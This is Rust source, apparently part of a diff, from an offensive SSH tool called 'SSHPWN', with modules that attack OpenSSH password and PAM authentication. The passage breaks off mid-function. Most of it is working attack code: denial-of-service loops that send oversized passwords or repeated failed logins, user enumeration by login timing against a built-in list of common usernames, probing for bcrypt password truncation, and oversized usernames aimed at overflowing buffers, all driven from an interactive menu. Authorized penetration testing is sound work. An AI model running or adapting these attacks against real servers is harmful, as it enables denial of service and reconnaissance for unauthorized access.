/// Vulnerability: auth2-passwd.c lines 60-66 - sshpkt_get_cstring() has no explicit limit
|
||||
/// Very long passwords could cause DoS in downstream bcrypt (72-byte) or PAM modules
|
||||
pub async fn attack_password_length_dos(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
max_length: usize,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] Password Length DoS Test on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth2-passwd.c sshpkt_get_cstring() no explicit limit".cyan());
|
||||
println!("{}", "[*] Testing password lengths that may cause downstream issues".cyan());
|
||||
println!();
|
||||
|
||||
// Test progressively longer passwords
|
||||
let test_lengths = vec![
|
||||
64, // Normal
|
||||
72, // bcrypt limit
|
||||
128, // Double bcrypt
|
||||
256, // Moderate
|
||||
512, // Large
|
||||
1024, // Very large
|
||||
2048, // Huge
|
||||
4096, // Extreme
|
||||
8192, // Maximum test
|
||||
max_length.min(16384),
|
||||
];
|
||||
|
||||
println!("{}", "[*] Testing password lengths:".cyan());
|
||||
println!("{}", "[*] Note: bcrypt has 72-byte limit, longer passwords are truncated".dimmed());
|
||||
println!();
|
||||
|
||||
let mut abnormal_behavior = Vec::new();
|
||||
let mut baseline_time: Option<f64> = None;
|
||||
|
||||
for &len in &test_lengths {
|
||||
if len > max_length {
|
||||
break;
|
||||
}
|
||||
|
||||
// Generate password of specified length
|
||||
let password: String = std::iter::repeat('A').take(len).collect();
|
||||
|
||||
print!(" Testing {} bytes... ", len);
|
||||
let _ = std::io::stdout().flush();
|
||||
|
||||
match time_auth_attempt(host, port, username, &password, 30) {
|
||||
Some((time, _success, msg)) => {
|
||||
// Set baseline from first test
|
||||
if baseline_time.is_none() {
|
||||
baseline_time = Some(time);
|
||||
}
|
||||
|
||||
let base = baseline_time.unwrap_or(time);
|
||||
let ratio = if base > 0.0 { time / base } else { 1.0 };
|
||||
|
||||
if time > 10.0 {
|
||||
println!("{}", format!("SLOW ({:.2}s) - {}", time, msg).yellow());
|
||||
abnormal_behavior.push((len, time, msg));
|
||||
} else if ratio > 2.0 {
|
||||
println!("{}", format!("SLOW ({:.2}s, {:.1}x baseline) - {}", time, ratio, msg).yellow());
|
||||
abnormal_behavior.push((len, time, msg));
|
||||
} else {
|
||||
println!("{}", format!("OK ({:.2}s) - {}", time, msg).green());
|
||||
}
|
||||
}
|
||||
None => {
|
||||
println!("{}", "Connection failed".red());
|
||||
}
|
||||
}
|
||||
|
||||
// Small delay between tests
|
||||
std::thread::sleep(Duration::from_millis(500));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Password Length DoS Results ===".cyan().bold());
|
||||
|
||||
if !abnormal_behavior.is_empty() {
|
||||
println!("{}", "[VULN] Abnormal behavior detected with long passwords:".red().bold());
|
||||
for (len, time, msg) in &abnormal_behavior {
|
||||
println!(" {} bytes: {:.2}s - {}", len, time, msg);
|
||||
}
|
||||
println!();
|
||||
println!("{}", "[*] Server may be vulnerable to password length DoS".yellow());
|
||||
println!("{}", "[*] Downstream PAM modules or bcrypt may have issues".cyan());
|
||||
Ok(true)
|
||||
} else {
|
||||
println!("{}", "[*] No significant timing variations detected".green());
|
||||
println!("{}", "[*] Server handles long passwords gracefully".cyan());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
|
||||
/// Password Change Information Leak Test
|
||||
///
|
||||
/// Vulnerability: auth2-passwd.c line 69 - "password change not supported" logged
|
||||
/// This reveals server configuration and confirms authentication reached password handler
|
||||
pub async fn attack_password_change_leak(
|
||||
host: &str,
|
||||
port: u16,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] Password Change Information Leak Test on {}:{}", host, port).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth2-passwd.c logs 'password change not supported'".cyan());
|
||||
println!();
|
||||
|
||||
println!("{}", "[*] Testing SSH password change behavior...".cyan());
|
||||
|
||||
// Note: SSH2 password change is signaled by a flag in the packet
|
||||
// We can't easily test this with libssh2, but we can document the vulnerability
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Password Change Information Leak Analysis ===".cyan().bold());
|
||||
println!();
|
||||
println!("{}", "[*] Vulnerability Details:".yellow());
|
||||
println!("{}", " When SSH2_MSG_USERAUTH_REQUEST contains password change flag:".dimmed());
|
||||
println!("{}", " 1. Server logs 'password change not supported' if unsupported".dimmed());
|
||||
println!("{}", " 2. This confirms authentication reached password handler".dimmed());
|
||||
println!("{}", " 3. Reveals server's password change configuration".dimmed());
|
||||
println!();
|
||||
println!("{}", "[*] Attack Vectors:".cyan());
|
||||
println!("{}", " - Server fingerprinting via response timing".dimmed());
|
||||
println!("{}", " - Configuration enumeration".dimmed());
|
||||
println!("{}", " - Confirm valid authentication path reached".dimmed());
|
||||
println!();
|
||||
println!("{}", "[*] To test manually:".yellow());
|
||||
println!("{}", " Use SSH client with password change support".dimmed());
|
||||
println!("{}", " ssh -o KbdInteractiveAuthentication=yes target".dimmed());
|
||||
println!();
|
||||
println!("{}", "[INFO] This is an informational vulnerability".yellow());
|
||||
println!("{}", "[*] Direct exploitation requires custom SSH client".cyan());
|
||||
|
||||
Ok(true)
|
||||
}
|
||||
|
||||
/// Auth Timing Attack - User Enumeration via mm_auth_password timing
|
||||
///
|
||||
/// Vulnerability: auth2-passwd.c line 70 - Timing depends on downstream implementation
|
||||
/// Different timing for valid vs invalid users enables enumeration
|
||||
pub async fn attack_auth_timing(
|
||||
host: &str,
|
||||
port: u16,
|
||||
usernames: &[String],
|
||||
samples: usize,
|
||||
) -> Result<Vec<String>> {
|
||||
println!("{}", format!("[*] Auth Timing Attack on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth2-passwd.c mm_auth_password timing".cyan());
|
||||
println!("{}", "[*] Testing timing differences between valid/invalid users".cyan());
|
||||
println!();
|
||||
|
||||
// Get baseline timing with definitely invalid user
|
||||
let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
|
||||
|
||||
println!("{}", "[*] Establishing baseline with invalid user...".cyan());
|
||||
|
||||
let mut baseline_times = Vec::new();
|
||||
for i in 0..samples {
|
||||
let password = format!("invalid_{}_{}", std::process::id(), i);
|
||||
if let Some((time, _, _)) = time_auth_attempt(host, port, &baseline_user, &password, 15) {
|
||||
baseline_times.push(time);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(200));
|
||||
}
|
||||
|
||||
if baseline_times.is_empty() {
|
||||
println!("{}", "[-] Could not establish baseline".red());
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
|
||||
let baseline = baseline_times.iter().sum::<f64>() / baseline_times.len() as f64;
|
||||
let baseline_stddev = (baseline_times.iter()
|
||||
.map(|t| (t - baseline).powi(2))
|
||||
.sum::<f64>() / baseline_times.len() as f64).sqrt();
|
||||
|
||||
println!("{}", format!("[*] Baseline: {:.3}s ± {:.3}s", baseline, baseline_stddev).cyan());
|
||||
println!();
|
||||
|
||||
// Test empty password timing (potential gap per vulnerability #3)
|
||||
println!("{}", "[*] Testing empty password timing (potential mitigation gap)...".cyan());
|
||||
|
||||
let mut empty_times = Vec::new();
|
||||
for _ in 0..samples {
|
||||
if let Some((time, _, _)) = time_auth_attempt(host, port, &baseline_user, "", 15) {
|
||||
empty_times.push(time);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(200));
|
||||
}
|
||||
|
||||
if !empty_times.is_empty() {
|
||||
let empty_avg = empty_times.iter().sum::<f64>() / empty_times.len() as f64;
|
||||
let diff = empty_avg - baseline;
|
||||
|
||||
if diff.abs() > baseline_stddev * 2.0 {
|
||||
println!("{}", format!("[VULN] Empty password timing differs: {:+.3}s", diff).red().bold());
|
||||
println!("{}", "[*] Possible timing attack via empty password".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Empty password: {:.3}s (diff: {:+.3}s)", empty_avg, diff).dimmed());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Testing usernames...".cyan());
|
||||
|
||||
let mut valid_users = Vec::new();
|
||||
let threshold = baseline_stddev * 3.0 + 0.1; // 3 sigma + 100ms
|
||||
|
||||
for user in usernames {
|
||||
print!("\r[*] Testing: {} ", user);
|
||||
let _ = std::io::stdout().flush();
|
||||
|
||||
let mut times = Vec::new();
|
||||
for i in 0..samples {
|
||||
let password = format!("invalid_test_{}_{}", std::process::id(), i);
|
||||
if let Some((time, _, _)) = time_auth_attempt(host, port, user, &password, 15) {
|
||||
times.push(time);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(200));
|
||||
}
|
||||
|
||||
if !times.is_empty() {
|
||||
let avg = times.iter().sum::<f64>() / times.len() as f64;
|
||||
let diff = avg - baseline;
|
||||
|
||||
if diff.abs() > threshold {
|
||||
println!("\r{}", format!("[+] Potential valid user: {} (timing diff: {:+.3}s)", user, diff).green());
|
||||
valid_users.push(user.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("\r ");
|
||||
println!();
|
||||
println!("{}", "=== Auth Timing Results ===".cyan().bold());
|
||||
|
||||
if valid_users.is_empty() {
|
||||
println!("{}", "[-] No valid users detected via timing".yellow());
|
||||
println!("{}", "[*] Server may have proper timing mitigation (fakepw/fake_password)".cyan());
|
||||
} else {
|
||||
println!("{}", format!("[+] Potentially valid users ({}):", valid_users.len()).green());
|
||||
for user in &valid_users {
|
||||
println!(" - {}", user.green());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(valid_users)
|
||||
}
|
||||
|
||||
/// Bcrypt 72-byte Limit Bypass Test
|
||||
///
|
||||
/// Vulnerability: bcrypt only uses first 72 bytes of password
|
||||
/// Passwords longer than 72 bytes are effectively truncated
|
||||
pub async fn attack_bcrypt_truncation(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
base_password: &str,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] Bcrypt 72-byte Truncation Test on {}", host).cyan());
|
||||
println!("{}", "[*] Testing if server uses bcrypt with 72-byte password limit".cyan());
|
||||
println!();
|
||||
|
||||
// bcrypt only uses first 72 bytes
|
||||
let truncation_point = 72;
|
||||
|
||||
// If base password is shorter than 72, pad it
|
||||
let test_base: String = if base_password.len() < truncation_point {
|
||||
format!("{}{}", base_password, "A".repeat(truncation_point - base_password.len()))
|
||||
} else {
|
||||
base_password.chars().take(truncation_point).collect()
|
||||
};
|
||||
|
||||
// Create variants that differ only after 72 bytes
|
||||
let password_72 = test_base.clone();
|
||||
let password_73 = format!("{}X", test_base);
|
||||
let password_100 = format!("{}{}", test_base, "X".repeat(28));
|
||||
|
||||
println!("{}", format!("[*] Testing password variants (first 72 chars: '{}'...)", &test_base[..20.min(test_base.len())]).cyan());
|
||||
println!("{}", format!(" Password A: {} bytes (baseline)", password_72.len()).dimmed());
|
||||
println!("{}", format!(" Password B: {} bytes (differs at byte 73)", password_73.len()).dimmed());
|
||||
println!("{}", format!(" Password C: {} bytes (differs at bytes 73-100)", password_100.len()).dimmed());
|
||||
println!();
|
||||
|
||||
// Test each password
|
||||
let passwords = vec![
|
||||
("72-byte", &password_72),
|
||||
("73-byte", &password_73),
|
||||
("100-byte", &password_100),
|
||||
];
|
||||
|
||||
let mut results = Vec::new();
|
||||
|
||||
for (name, password) in &passwords {
|
||||
print!("[*] Testing {} password... ", name);
|
||||
let _ = std::io::stdout().flush();
|
||||
|
||||
match time_auth_attempt(host, port, username, password, 15) {
|
||||
Some((time, success, msg)) => {
|
||||
results.push((name.to_string(), time, success, msg.clone()));
|
||||
if success {
|
||||
println!("{}", "SUCCESS".green().bold());
|
||||
} else {
|
||||
println!("{}", format!("{:.2}s - {}", time, msg).dimmed());
|
||||
}
|
||||
}
|
||||
None => {
|
||||
println!("{}", "Connection failed".red());
|
||||
}
|
||||
}
|
||||
|
||||
std::thread::sleep(Duration::from_millis(500));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Bcrypt Truncation Analysis ===".cyan().bold());
|
||||
|
||||
// Check if timing is consistent (would indicate truncation)
|
||||
if results.len() >= 2 {
|
||||
let time_72 = results.get(0).map(|r| r.1).unwrap_or(0.0);
|
||||
let time_73 = results.get(1).map(|r| r.1).unwrap_or(0.0);
|
||||
let time_100 = results.get(2).map(|r| r.1).unwrap_or(0.0);
|
||||
|
||||
let diff_73 = (time_73 - time_72).abs();
|
||||
let diff_100 = (time_100 - time_72).abs();
|
||||
|
||||
if diff_73 < 0.1 && diff_100 < 0.1 {
|
||||
println!("{}", "[*] Timing consistent across all lengths".yellow());
|
||||
println!("{}", "[*] Server may be using bcrypt (72-byte truncation)".cyan());
|
||||
println!();
|
||||
println!("{}", "[!] Implication: Passwords >72 bytes provide no extra security".yellow().bold());
|
||||
println!("{}", "[*] Password 'AAAA...AAA' (72) == 'AAAA...AAAXXX' (75)".dimmed());
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", "[*] Timing varies - server may not use bcrypt or has different handling".cyan());
|
||||
println!("{}", "[*] Cannot confirm 72-byte truncation".dimmed());
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Prompt helpers
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(None)
|
||||
} else {
|
||||
Ok(Some(trimmed.to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames for timing attack
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "test", "guest",
|
||||
"ubuntu", "www-data", "daemon", "nobody",
|
||||
"mysql", "postgres", "oracle", "ftp", "ssh",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target);
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
println!(" 1. Password Length DoS Test");
|
||||
println!(" 2. Password Change Information Leak (Analysis)");
|
||||
println!(" 3. Auth Timing Attack (User Enumeration)");
|
||||
println!(" 4. Bcrypt 72-byte Truncation Test");
|
||||
println!(" 5. Run All Attacks");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "3")?;
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
let username = prompt_default("Username to test", "root")?;
|
||||
let max_len: usize = prompt_default("Maximum password length", "8192")?.parse().unwrap_or(8192);
|
||||
attack_password_length_dos(&host, port, &username, max_len).await?;
|
||||
}
|
||||
"2" => {
|
||||
attack_password_change_leak(&host, port).await?;
|
||||
}
|
||||
"3" => {
|
||||
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(3);
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Use default username list?", true)? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
let custom = prompt_optional("Additional usernames (comma-separated)")?;
|
||||
if let Some(custom_users) = custom {
|
||||
for user in custom_users.split(',') {
|
||||
let user = user.trim();
|
||||
if !user.is_empty() && !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames to test"));
|
||||
}
|
||||
|
||||
attack_auth_timing(&host, port, &usernames, samples).await?;
|
||||
}
|
||||
"4" => {
|
||||
let username = prompt_default("Username", "root")?;
|
||||
let base_password = prompt_default("Base password (will be padded to 72 chars)", "testpassword")?;
|
||||
attack_bcrypt_truncation(&host, port, &username, &base_password).await?;
|
||||
}
|
||||
"5" | _ => {
|
||||
println!();
|
||||
println!("{}", "=== Running All Auth Password Attacks ===".yellow().bold());
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 1: Password Length DoS ---".cyan());
|
||||
let _ = attack_password_length_dos(&host, port, "root", 4096).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 2: Password Change Info Leak ---".cyan());
|
||||
let _ = attack_password_change_leak(&host, port).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 3: Auth Timing Attack ---".cyan());
|
||||
let usernames: Vec<String> = DEFAULT_USERNAMES.iter().map(|s| s.to_string()).collect();
|
||||
let _ = attack_auth_timing(&host, port, &usernames, 2).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 4: Bcrypt Truncation ---".cyan());
|
||||
let _ = attack_bcrypt_truncation(&host, port, "root", "testpassword").await;
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Auth password attack module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,621 @@
|
||||
//! SSHPWN PAM Attack Module
|
||||
//!
|
||||
//! Based on OpenSSH 10.0p1 auth-pam.c vulnerability analysis
|
||||
//!
|
||||
//! PAM VULNERABILITIES (auth-pam.c):
|
||||
//! - sshpam_password static storage - Password recovery via memory forensics (LOW)
|
||||
//! - pam_putenv() memory leak - DoS via memory exhaustion (LOW)
|
||||
//! - import_environments() - Environment variable injection (MEDIUM)
|
||||
//! - Missing username length validation on non-Solaris (LOW-MEDIUM)
|
||||
//! - setreuid() race condition - Privilege state issues (LOW)
|
||||
//! - Timing attack mitigation gap - Incomplete coverage (LOW)
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
io::{Read, Write},
|
||||
net::TcpStream,
|
||||
path::Path,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSHPWN - PAM Attack Module ║".cyan());
|
||||
println!("{}", "║ Based on OpenSSH auth-pam.c vulnerability analysis ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ Attack Modes: ║".cyan());
|
||||
println!("{}", "║ 1. PAM Memory Exhaustion DoS (pam_putenv leak) ║".cyan());
|
||||
println!("{}", "║ 2. Username Length Overflow Test ║".cyan());
|
||||
println!("{}", "║ 3. PAM Timing Attack (user enumeration) ║".cyan());
|
||||
println!("{}", "║ 4. Environment Variable Injection Test ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Create SSH session with authentication
|
||||
fn create_ssh_session(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
timeout_secs: u64,
|
||||
) -> Result<(TcpStream, Session)> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let tcp = TcpStream::connect_timeout(
|
||||
&addr.parse().context("Invalid address")?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
).context("Connection failed")?;
|
||||
|
||||
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
|
||||
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp.try_clone()?);
|
||||
sess.handshake()?;
|
||||
|
||||
// Authenticate
|
||||
if let Some(key) = keyfile {
|
||||
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
|
||||
} else if let Some(pass) = password {
|
||||
sess.userauth_password(username, pass)?;
|
||||
} else {
|
||||
return Err(anyhow!("No authentication method provided"));
|
||||
}
|
||||
|
||||
if !sess.authenticated() {
|
||||
return Err(anyhow!("Authentication failed"));
|
||||
}
|
||||
|
||||
Ok((tcp, sess))
|
||||
}
|
||||
|
||||
/// Time a single authentication attempt (for timing attacks)
|
||||
fn time_auth_attempt(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Option<f64> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let start = Instant::now();
|
||||
|
||||
let tcp = match TcpStream::connect_timeout(
|
||||
&addr.parse().ok()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
) {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
|
||||
let mut sess = match Session::new() {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
sess.set_tcp_stream(tcp);
|
||||
if sess.handshake().is_err() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Try authentication
|
||||
let _ = sess.userauth_password(username, password);
|
||||
|
||||
let elapsed = start.elapsed().as_secs_f64();
|
||||
Some(elapsed)
|
||||
}
|
||||
|
||||
/// PAM Memory Exhaustion DoS Test
|
||||
///
|
||||
/// Vulnerability: auth-pam.c lines 378-382 - pam_putenv() memory leak
|
||||
/// Each authentication attempt leaks memory. Repeated attempts can exhaust server memory.
|
||||
pub async fn attack_pam_memory_dos(
|
||||
host: &str,
|
||||
port: u16,
|
||||
iterations: u32,
|
||||
delay_ms: u64,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] PAM Memory Exhaustion DoS on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth-pam.c pam_putenv() memory leak".cyan());
|
||||
println!();
|
||||
|
||||
println!("{}", "[!] WARNING: This test performs many authentication attempts".yellow().bold());
|
||||
println!("{}", "[!] It may trigger account lockouts or rate limiting".yellow());
|
||||
println!();
|
||||
|
||||
println!("{}", format!("[*] Testing with {} iterations, {}ms delay", iterations, delay_ms).cyan());
|
||||
|
||||
let mut successful = 0u32;
|
||||
let mut failed = 0u32;
|
||||
|
||||
for i in 0..iterations {
|
||||
if i % 10 == 0 {
|
||||
print!("\r[*] Progress: {}/{} (success: {}, fail: {}) ", i, iterations, successful, failed);
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
|
||||
// Try authentication with invalid credentials
|
||||
// Each attempt that reaches PAM processing leaks memory
|
||||
let invalid_pass = format!("invalid_{}_{}", std::process::id(), i);
|
||||
|
||||
match time_auth_attempt(host, port, "nobody", &invalid_pass, 10) {
|
||||
Some(_) => successful += 1,
|
||||
None => failed += 1,
|
||||
}
|
||||
|
||||
if delay_ms > 0 {
|
||||
std::thread::sleep(Duration::from_millis(delay_ms));
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!();
|
||||
println!("{}", "=== PAM Memory DoS Results ===".cyan().bold());
|
||||
println!("Total attempts: {}", iterations);
|
||||
println!("Successful connections: {}", successful);
|
||||
println!("Failed connections: {}", failed);
|
||||
println!();
|
||||
|
||||
if successful > 0 {
|
||||
println!("{}", "[VULN] Server accepted connections - memory leak may be exploitable".red().bold());
|
||||
println!("{}", "[*] Monitor server memory usage during extended attacks".cyan());
|
||||
println!("{}", "[*] Each PAM environment variable leaked per auth attempt".cyan());
|
||||
Ok(true)
|
||||
} else {
|
||||
println!("{}", "[-] Could not establish connections - rate limiting may be active".yellow());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
|
||||
/// Username Length Overflow Test
|
||||
///
|
||||
/// Vulnerability: auth-pam.c lines 696-699 - Username length only validated on Solaris
|
||||
/// Non-Solaris systems may be vulnerable to buffer overflows in PAM modules
|
||||
pub async fn attack_pam_username_overflow(
|
||||
host: &str,
|
||||
port: u16,
|
||||
max_length: usize,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] PAM Username Length Overflow Test on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth-pam.c missing username length validation".cyan());
|
||||
println!("{}", "[*] Only Solaris validates PAM_MAX_RESP_SIZE (1024 bytes)".cyan());
|
||||
println!();
|
||||
|
||||
// Test progressively longer usernames
|
||||
let test_lengths = vec![
|
||||
64, 128, 256, 512, 1024, 2048, 4096, 8192,
|
||||
max_length.min(16384),
|
||||
];
|
||||
|
||||
println!("{}", "[*] Testing username lengths:".cyan());
|
||||
|
||||
let mut vulnerable_length = None;
|
||||
|
||||
for &len in &test_lengths {
|
||||
if len > max_length {
|
||||
break;
|
||||
}
|
||||
|
||||
// Generate username of specified length
|
||||
let username: String = std::iter::repeat('A').take(len).collect();
|
||||
|
||||
print!(" Testing {} bytes... ", len);
|
||||
let _ = std::io::stdout().flush();
|
||||
|
||||
let start = Instant::now();
|
||||
let result = time_auth_attempt(host, port, &username, "test", 15);
|
||||
let elapsed = start.elapsed();
|
||||
|
||||
match result {
|
||||
Some(t) => {
|
||||
if elapsed.as_secs() > 10 {
|
||||
println!("{}", format!("SLOW ({:.2}s) - potential DoS", t).yellow());
|
||||
vulnerable_length = Some(len);
|
||||
} else {
|
||||
println!("{}", format!("OK ({:.2}s)", t).green());
|
||||
}
|
||||
}
|
||||
None => {
|
||||
if elapsed.as_secs() > 10 {
|
||||
println!("{}", "TIMEOUT - server may have crashed/hung".red().bold());
|
||||
vulnerable_length = Some(len);
|
||||
break;
|
||||
} else {
|
||||
println!("{}", "Connection failed".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Small delay between tests
|
||||
std::thread::sleep(Duration::from_millis(500));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Username Overflow Results ===".cyan().bold());
|
||||
|
||||
if let Some(len) = vulnerable_length {
|
||||
println!("{}", format!("[VULN] Potential vulnerability at {} bytes", len).red().bold());
|
||||
println!("{}", "[*] Server showed abnormal behavior with long username".cyan());
|
||||
println!("{}", "[*] PAM modules may have fixed-size username buffers".cyan());
|
||||
Ok(true)
|
||||
} else {
|
||||
println!("{}", "[*] No obvious overflow detected".green());
|
||||
println!("{}", "[*] Server may have proper input validation".cyan());
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
|
||||
/// PAM Timing Attack - Enhanced user enumeration
|
||||
///
|
||||
/// Vulnerability: auth-pam.c lines 1361-1368 - Timing attack mitigation gap
|
||||
/// fake_password() only used for invalid users/root denied, not for empty passwords
|
||||
pub async fn attack_pam_timing(
|
||||
host: &str,
|
||||
port: u16,
|
||||
usernames: &[String],
|
||||
samples: usize,
|
||||
) -> Result<Vec<String>> {
|
||||
println!("{}", format!("[*] PAM Timing Attack on {}", host).cyan());
|
||||
println!("{}", "[*] Vulnerability: auth-pam.c incomplete timing mitigation".cyan());
|
||||
println!("{}", "[*] Testing: valid vs invalid user timing differences".cyan());
|
||||
println!();
|
||||
|
||||
// Establish baseline with definitely invalid user
|
||||
let baseline_user = format!("nonexistent_user_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
|
||||
|
||||
println!("{}", "[*] Establishing baseline timing...".cyan());
|
||||
|
||||
let mut baseline_times = Vec::new();
|
||||
for _ in 0..samples {
|
||||
if let Some(t) = time_auth_attempt(host, port, &baseline_user, "invalid", 15) {
|
||||
baseline_times.push(t);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
|
||||
if baseline_times.is_empty() {
|
||||
println!("{}", "[-] Could not establish baseline - cannot reach target".red());
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
|
||||
let baseline = baseline_times.iter().sum::<f64>() / baseline_times.len() as f64;
|
||||
println!("{}", format!("[*] Baseline timing: {:.3}s", baseline).cyan());
|
||||
|
||||
// Test empty password timing (potential gap in fake_password coverage)
|
||||
println!();
|
||||
println!("{}", "[*] Testing empty password timing gap...".cyan());
|
||||
|
||||
let mut empty_times = Vec::new();
|
||||
for _ in 0..samples {
|
||||
if let Some(t) = time_auth_attempt(host, port, &baseline_user, "", 15) {
|
||||
empty_times.push(t);
|
||||
}
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
|
||||
if !empty_times.is_empty() {
|
||||
